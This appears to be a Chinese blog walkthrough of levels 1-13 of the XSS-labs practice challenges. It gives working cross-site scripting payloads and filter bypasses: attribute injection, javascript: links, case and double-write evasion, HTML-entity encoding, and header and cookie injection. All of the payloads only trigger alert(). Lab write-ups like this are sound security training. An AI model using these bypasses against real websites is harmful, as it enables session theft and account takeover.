XSS-labs 1-13关通关攻略

目录

通杀(认真):

第一关(无过滤):

第二关(尖号内xss):

第三关(过滤<>):

第四关(与第三关一致,只是单引号变成双引号):

第五关(a标签)

第六关(大小写绕过)

第七关(双写绕过)

第八关(unicode编码绕过):

第九关(白名单绕过)

第十关(get传参隐藏变量)

第十一关(referer注入)

第十二关(UA注入)

第十三关(cookie注入)


第十四关好想被搞了,iframe的网页被重定向到色情网站 ,所以十四关可能得自己搭环境。。。

给一个通杀(认真):

直接打开控制台输入window.alert()即可通关。

第一关(无过滤):

payload:

<script>alert()</script>

 

 

 

第二关(尖号内xss):

第二关翻看源代码,发现输入的值都在value=后面,所以有两个办法

1.我们先闭合前面,在重新构造一个js语句,同时注意后面的 " 进行闭合或者使用//注释

2.直接利用当前的语句,用onclick等属性值构造

payload:

1"><script>alert()</script>"

1"><script>alert()</script>//

1" onclick="javascript:alert()

第三关(过滤<>):

按照这关的闭合规则,尝试payload,发现<>都被过滤了,所以我们直接采用onclick 的payload

同时注意这关的引号闭合

payload:

1' onclick='javascript:alert()

第四关(与第三关一致,只是单引号变成双引号):

与第三关差不多

payload:

1" onclick="javascript:alert()

第五关(a标签)

先输入我们的特征字符看看过滤的规则咋样

onclick <script> ' "

发现onclick 和<script> 都被过滤了,而且都是从中间插一个_,就没有办法了吗,要是有一个单字符的标签该多好。。。

 哦对,我们还有<a>,

于是payload就出来啦

1"><a href="javascript:alert()">alert<a>

第六关(大小写绕过)

这一关发现href也被过滤了,

不过我们想起html的大小写不敏感(注意⚠️:是html不敏感,js是大小写敏感的)

于是大小写绕过

1"><a HrEf="javascript:alert()">alert<a>

第七关(双写绕过)

同样打上上关的payload,发现href不见了,script也不见了,于是猜想php应该是把href script替换为空,所以我们可以构造双写的payload进行绕过

payload:

1"><a hrHrEfef="javascrscriptipt:alert()">alert<a>

第八关(unicode编码绕过):

观察页面,跟之前的关卡有些不同,查看源代码

发现上面框输入什么,下面的href也跟着变,于是直接输入javascript:alert(),发现script被过滤,大小写不能绕过,后来才发现可以进行unicode编码绕过。

 在线unicode转换

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

第九关(白名单绕过)

这一关我当时确实没有想出来,看了别的师傅翻出后台源码才恍然醒悟。

一丢丢感悟:做攻的时候我们会猜想别人会怎么防守,而防守的时候并不是只对红队攻击进行黑名单拦截,同时还可以对正常请求做白名单。

这关的白名单就是http://

所以我们需要在我们的payload中加上http:// 同时让他不能影响到我们的payload,最简单的办法就是注释它。所以我们直接在第八关的payload上加上/*http://*/

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

第十关(get传参隐藏变量)

打开第十关的源码,我们发现有三个input框是隐藏的,但是不影响他们的传参,所以我们试一试他们是否好搞一点。

GET传参,所以使用&加上名字传参,三个都试了一遍,发现第三个成功。

payload

https://xssaq.com/yx/level10.php?keyword=well%20done!&t_sort=1%22%20onclick=javascript:alert()%20type=text

第十一关(referer注入)

相对于上一关,发现多了一个变量,于是老方法试一遍,上一关的变量对于 “ 做了过滤,所以搞第四个试试。

一样的办法,发现,好像不太行,第四个根本没有回显。不过不要灰心,仔细一看,ref,诶,这不是referer吗,从第十关上来的时候还有数值呢,那他的值岂不就是从referer里面直接取出来的咯,这不又是一个注入点。

于是,直接打开bp改包,加上referer就OK啦

payload:

 第十二关(UA注入)

跟上一关大差不差,注入点是UA头,payload:

 第十三关(cookie注入)

大差不差,payload:

 好了,下班咯


版权声明:本文为qq_57861415原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
THE END
< <上一篇
下一篇>>